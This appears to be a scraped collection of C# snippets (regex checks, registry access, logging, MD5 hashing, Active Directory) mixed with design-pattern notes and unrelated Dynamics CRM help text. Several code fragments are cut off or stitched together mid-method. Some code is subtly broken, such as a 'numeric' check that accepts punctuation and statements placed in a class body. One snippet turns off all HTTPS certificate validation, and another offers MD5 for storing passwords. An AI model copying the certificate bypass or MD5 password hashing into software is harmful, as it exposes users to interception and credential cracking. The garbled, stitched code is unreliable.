Design pattern: Chain Of Responsibility

In object-oriented design, the chain-of-responsibility pattern is a design pattern consisting of a source of command objects and a series of processing objects.[1] Each processing object contains logic that defines the types of command objects that it can handle; the rest are passed to the next processing object in the chain. A mechanism also exists for adding new processing objects to the end of this chain.
In a variation of the standard chain-of-responsibility model, some handlers may act as dispatchers, capable of sending commands out in a variety of directions, forming a tree of responsibility. In some cases, this can occur recursively, with processing objects calling higher-up processing objects with commands that attempt to solve some smaller part of the problem; in this case recursion continues until the command is processed, or the entire tree has been explored. An XML interpreter might work in this manner.
This pattern promotes the idea of loose coupling, which is considered a programming best practice.

Check if all numeric string

This C# code snippet checks to see if the specified string is all numeric, that is, contains no alphabetic characters.

using System.Text.RegularExpressions;
...
const string ALL_NUMERIC_PATTERN = "[a-z|A-Z]";
 
static readonly Regex All_Numeric_Regex = 
   new Regex (ALL_NUMERIC_PATTERN);
 
static bool AllNumeric ( string inputString )
{
   if (All_Numeric_Regex.IsMatch ( inputString ))
   { 
      return false;
   }
   return true;
}

Below is another solution:

using System.Text.RegularExpressions;
...
static bool AllNumeric(string inputString)
{
   return Regex.IsMatch(inputString, @"^\d+$");
}

What is a design pattern?

What is a design pattern?

A design pattern is a proven design solution to a common problem faced by software developers. Design patterns became popular with the rise of Object Oriented Analysis and Design (OOAD). Design patterns are designed to help developers deliver higher quality, more easily maintained software products in less time and at lower cost.

Design patterns are:

encapsulated - They embody design knowledge regarding collaboration of classes and objects, distribution of

responsibility, and other design issues.

object-oriented - They incorporate OOAD principles—e.g., low coupling, high cohesion.

reusable - They are adaptable, flexible, general solutions to classes of problems with broad applicability. Design patterns simplify the task facing the developer.

How did design patterns originate?

The history of design patterns is quite short. They originated as an architectural concept proposed by Christopher Alexander in the late nineteen seventies (ca. 1977). Kent Beck and Ward Cunningham experimented with the notion of applying patterns to computer programming in the late nineteen eighties (ca. 1987). Design patterns did not become widely used in computer science until after Design Patterns: Elements of Reusable Object-Oriented Software by the so-called Gang of Four was published in 1994.

How are design patterns classified?

Design patterns are categorized to facilitate learning and extending them. They are classified in terms of the underlying problems they address, i.e. according to usage.

The three main design pattern categories are:

Behavioral design patterns - characterize the manner of class and object interaction and how responsibilities are distributed among them.

Creational design patterns - address the object creation process. Creational design patterns encapsulate knowledge about how, when, and by whom an instance is created.

Structural design patterns - address the composition of classes and objects. Design patterns vary both in granularity and level of abstraction.

Behavioral design patterns

Chain of Responsibility Define a method of passing a request among a chain of objects.

Command Encapsulate a command request in an object.

Interpreter Allow inclusion of language elements in an application.

Iterator Enable sequential access to collection elements.

Mediator Define simplified communication between classes.

Memento Save and restore the internal state of an object.

Observer Define a scheme for notifying objects of changes to another object.

State Alter the behavior of an object when its state changes.

Strategy Encapsulate an algorithm inside a class.

Template Method Allow subclasses to redefine the steps of an algorithm.

Visitor Define a new operation on a class without changint it.

Creational design patterns

Abstract Factory Encapsulate a set of analogous factories that produce families of objects.

Builder Encapsulate the construction of complex objects from their representation; so, the same building process can create various representations by specifying only type and content.

Factory Method Allow subclasses to "decide" which class to instantiate.

Prototype Create an initialized instance for cloning or copying.

Singleton Ensure that only a single instance of a class exists and provide a single method for gaining access to it.

Structural design patterns

Adapter Adapt an interface to an expected interface.

Bridge Decouple an interface from its implementation.

Composite Create a tree structure for part-whole hierarchies.

Decorator Extend functionality dynamically.

Façade (Facade) Simplify usage by defining a high-level interface.

Flyweight Support fine-grained objects efficiently by sharing.

Proxy Represent an object with another object for access control.

Strip all HTML tags

This C# code snippet removes all HTML tags from the specified string and returns the stripped string.

using System.Text.RegularExpressions;
...
const string HTML_TAG_PATTERN = "<.*?>";
 
static string StripHTML (string inputString)
{
   return Regex.Replace 
     (inputString, HTML_TAG_PATTERN, string.Empty);
}

Empty the Recycle Bin

This C# code snippet empties the Recycle Bin. Windows will display a confirmation dialog box.

using System.Runtime.InteropServices;
...
 
enum RecycleFlags : uint
{
   SHERB_NOCONFIRMATION = 0x00000001,
   SHERB_NOPROGRESSUI   = 0x00000002,
   SHERB_NOSOUND        = 0x00000004
}
 
[DllImport("Shell32.dll", CharSet = CharSet.Unicode)]
static extern uint SHEmptyRecycleBin 
 (IntPtr hwnd, 
 string pszRootPath,
 RecycleFlags dwFlags);
 
public static void Main()
{
    uint result = SHEmptyRecycleBin (IntPtr.Zero, null, 0);
    Console.WriteLine ("Result: {0}", result);
}

Ignore Invalid HTTPS certificate

To ignore invalid HTTPS certicates calling HTTPS Web service (for example), it is necessary to implement a dummy callback for the ServicePointManager:

using System.Net;
...
 
   ServicePointManager.ServerCertificateValidationCallback =
      new RemoteCertificateValidationCallback
         (IgnoreCertificateErrorHandler);
...
private bool IgnoreCertificateErrorHandler
   (object sender,
   System.Security.Cryptography.X509Certificates.X509Certificate certificate,
   System.Security.Cryptography.X509Certificates.X509Chain chain,
   System.Net.Security.SslPolicyErrors sslPolicyErrors)
{
 
   return true;
}
...

Log messages to a file

This C# code snippet logs messages to a disk file for debugging or other logging purposes. Such code is especially useful when writing server applications which contain no user interface. Call the following simple method like:

LogMessageToFile ("Message to be logged.");

Automatically, the current datetime is inserted with your message into the log file.

using System; 
using System.IO; 
 
public string GetTempPath()
{
   string path = 
      System.Environment.GetEnvironmentVariable ("TEMP");
   if (!path.EndsWith ("\\"))
   {
      path += "\\";
   }
   return path;
}
 
public void LogMessageToFile (string message)
{
   System.IO.StreamWriter sw = 
      System.IO.File.AppendText(
         GetTempPath() + "Logfile.txt"); // Change filename
   try
   {
      string logLine = 
         System.String.Format(
            "{0:G}: {1}.", System.DateTime.Now, message);
      sw.WriteLine(logLine);
   }
   finally
   {
      sw.Close();
   }
}

More sophisticated logging can be achieved using the Windows Event Log. Simply, create an event message source and either create a custom event log or use the application log. Typically, to add a source to the log, such logging programs will implement the System.Configuration.Install.Installer interface.
And, the TraceListener infrastructure can be used to turn them on or off or redirect sources to debugger output, the Event Log, a text file, etc. A custom trace listener can log to an arbitrary log.

         @"\TestDir";
      Directory.CreateDirectory (directoryString);
      Console.WriteLine ("Created: {0}", directoryString);
      Directory.Delete (directoryString);
      Console.WriteLine ("Deleted: {0}", directoryString);
   }
}

void clearIECache()
{
   ClearFolder (new DirectoryInfo (Environment.GetFolderPath
      (Environment.SpecialFolder.InternetCache)));
}
 
void ClearFolder (DirectoryInfo folder)
{
   foreach (FileInfo file in folder.GetFiles())
      { file.Delete(); }
   foreach (DirectoryInfo subfolder in folder.GetDirectories())
      { ClearFolder(subfolder); }
}
 
public static void Main( )
{
   new Test().clearIECache ();
}

This C# code snippet creates a Group Object in Active Directory.

using System.DirectoryServices;
using System.Reflection;
 
public class ADGroup
{
 
   private String ADGRPOUP = "group";
 
   // Grouptype-Definition 
   enum GrpType : uint
   {
      UnivGrp = 0x08,
      DomLocalGrp = 0x04,
      GlobalGrp = 0x02,
      SecurityGrp = 0x80000000
   }
 
   DirectoryEntry ent = new DirectoryEntry("LDAP://RootDSE");
   String str = (String)ent.Properties["defaultNamingContext"][0];
   deAD = new DirectoryEntry("LDAP://" + str);
   GrpType gt = GrpType.GlobalGrp | GrpType.SecurityGrp;
   int typeNum = (int)gt; 
   DirectoryEntry ou = deAD.Children.Find("OU=Users");
   DirectoryEntry group = ou.Children.Add("cn=myGroupName", ADGRPOUP );
   group.Properties["sAMAccountName"].Add("myGroupName");
   group.Properties["description"].Add(" description myGroupName");
   group.Properties["groupType"].Add(typeNum);
   group.CommitChanges();
}

   //return netBiosName;
 
   // Following method is deprecated
   // string dnsName = 
   //   System.Net.Dns.GetHostByName("LocalHost").HostName;
 
   string dnsName = System.Net.Dns.GetHostName();
   return dnsName;
}

   C.WriteLine ("t = {0:t}", dateTime );  // hh:mm AM/PM
   C.WriteLine ("T = {0:T}", dateTime );  // hh:mm:ss AM/PM
 
   // yyyy-mm-dd hh:mm:ss (Sortable)
   C.WriteLine ("u = {0:u}", dateTime );  
 
   // day, month dd, yyyy hh:mm:ss AM/PM
   C.WriteLine ("U = {0:U}", dateTime );
 
   // month, yyyy (March, 2006)

   }

Create a MD5 Hash from a string

This C# code snippet creates a MD5 hash—a 32-character string of hexadecimal numbers—from a string. Passwords are commonly stored in databases as a hash code.

Call the following code with this method call:

string md5hash = CreateMD5Hash
   ("abcdefghijklmnopqrstuvwxyz");

md5hash will contain this string: "C3FCD3D76192E4007DFB496CCA67E13B".

using System;
 
public string CreateMD5Hash (string input)
{
   // Use input string to calculate MD5 hash
   MD5 md5 = System.Security.Cryptography.MD5.Create();
   byte[] inputBytes = System.Text.Encoding.ASCII.GetBytes (input);
   byte[] hashBytes  = md5.ComputeHash (inputBytes);
 
   // Convert the byte array to hexadecimal string
   StringBuilder sb = new StringBuilder();
   for (int i = 0; i < hashBytes.Length; i++)
   {
       sb.Append (hashBytes[i].ToString ("X2"));
       // To force the hex string to lower-case letters instead of
       // upper-case, use he following line instead:
       // sb.Append(hashBytes[i].ToString("x2")); 
   }
   return sb.ToString();
}

Located in the System.Web.Security namespace, this class can also be used:

FormsAuthentication.HashPasswordForStoringInConfigFile (string, "MD5")

Convert Fahrenheit and Celsius

This C# code snippet converts temperatures between the two major temperature scales—Fahrenheit and Celsius.

using System;

public static double CelsiusToFahrenheit 
   (string temperatureCelsius)
{
   double celsius = System.Double.Parse (temperatureCelsius);
   return (celsius * 9 / 5) + 32; 
}
 
public static double FahrenheitToCelsius 
   (string temperatureFahrenheit)
{
   double fahrenheit = System.Double.Parse (temperatureFahrenheit);
   return (fahrenheit - 32) * 5 / 9;
}

Cast an object to an interface

This C# code snippet shows how to test the specified object in order to determine whether or not it implements a particular interface. Although an interface cannot be instantiated directly, an interface can be treated polymorphically by casting an object which implements the interface to the interface type. Then, the actual runtime type of the object can be ignored; and, the object will appear to be an instantiated interface. The first option is to simply cast the object reference to an interface

ICloneable iCloneable = (ICloneable) new TheObject();

Unfortunately, if the object does not implement that particular interface, a runtime error of System.InvalidCastException will be thrown. You could catch that exception and take appropriate action; but, that is both bad practice and inefficient.

The second option is to use the is operator which returns true if the object can be safely cast to the specified type:

using System;
TheObject theObject = new TheObject();  
if (theObject is ICloneable)
{
   ICloneable iCloneable = (ICloneable) theObject;  
}
else
{
   console.WriteLine ("Interface unsupported");
}

The third option is to use the as operator which will either cast the object to the specified type or return a null if the cast would be invalid.

ICloneable iCloneable = new TheObject() as ICloneable;
if (iCloneable != null)
{
   iCloneable.Clone();   // access interface member
}
else
{
   console.WriteLine ("Interface unsupported");
}

Call with variable arguments

This C# code snippet uses the params keyword to implement a method which can be called with a variable number of arguments.

using System;
 
static void ListArguments (params object[] arguments)
{
   foreach (object argument in arguments)
   {
      Console.WriteLine (argument);
   }
}
 
public static void Main( )
{
   ListArguments ("Arguments: ", DateTime.Now, 3.14f);
}

Calculate Fibonacci number

This C# code snippet calculates a Fibonacci number using recursion, i.e., the Fibonacci method calls itself when necessary.

using System;
static int Fibonacci (int x)
{
   Console.WriteLine ("x = {0}", x);
   if (x <= 1)
   {
      return x;
   }
   return Fibonacci (x-1) + Fibonacci (x-2);
}
  
static void Main( )
{
   Console.WriteLine ("Fibonacci no. = {0}", Fibonacci (5));
   Console.ReadKey();
}

Write a Registry key

This C# code snippet writes a key to the Windows Registry.

using Microsoft.Win32;

RegistryKey masterKey = Registry.LocalMachine.CreateSubKey
   ("SOFTWARE\\Test\\customkey");
if (masterKey == null)
{
   Console.WriteLine ("Null Masterkey!");
}
else
{
   try
   {
      masterKey.SetValue ("MyKey", "MyValue");
   }
   catch (Exception ex)
   {
      Console.WriteLine (ex.Message);
   }
   finally
   { 
      masterKey.Close();
   }
}

Read a Registry key

This C# code snippet reads a key from the Windows Registry.

using Microsoft.Win32;

RegistryKey masterKey = Registry.LocalMachine.CreateSubKey 
   ("SOFTWARE\\Test\\customkey");
if (masterKey == null)
{
   Console.WriteLine ("Null Masterkey!");
}
else
{
   Console.WriteLine ("MyKey = {0}", masterKey.GetValue ("MyKey"));
}
masterKey.Close();

Follow a lead from creation through closure

A lead record in Microsoft Dynamics CRM Online represents a potential customer who must be qualified or disqualified as a sales opportunity. You can use leads to manage potential sales from the point at which you become aware of a customer's interest through the successful sale.

The following diagram illustrates the ways that you can create a lead and convert it to several different record types.

There are several ways that you can create a lead in Microsoft Dynamics CRM Online:

• Create the lead manually.
• Convert a campaign response into a lead. For more information, see Follow a campaign response through the marketing process.
• Import leads into CRM from an external file.

After you create the lead, you can convert it into any of the following three record types:

• Account
• Contact
• Opportunity

When you convert the lead to an opportunity, you can also choose to link the new opportunity to the new accounts or contacts you may have created, or to an existing account or contact in your Microsoft Dynamics CRM Online database.

Follow an opportunity from creation through closure

An opportunity is a potential sale or possible revenue from an account or contact.

The following diagram illustrates the ways that you can create an opportunity and close it when the potential customer decides whether to move forward with the sale.

There are several ways that you can create an opportunity in Microsoft Dynamics CRM:

• Create the opportunity manually.
• Convert a lead into an opportunity. For more information, see Follow a lead from creation through closure.
• Import opportunities into Microsoft Dynamics CRM from an external file.

When you know whether or not the customer is going to move forward with the sale, you can close the opportunity with a status of either Won or Lost.

Display Assembly attributes

This C# code snippet displays a list of all the Assembly attributes contained in an assembly file.

using System.Reflection;
 
// Change the LoadFrom argument to point to your assembly file
Assembly assembly  = 
   Assembly.LoadFrom (@"C:\Documents\ClassLibrary.dll");
object[] attibutes = assembly.GetCustomAttributes (true);
if (attibutes .Length > 0)
   {
   Console.WriteLine ("Assembly attributes for '{0}'", assembly );
   foreach (object o in attibutes) {
      Console.WriteLine ("Attribute: {0}", o.ToString());
   }
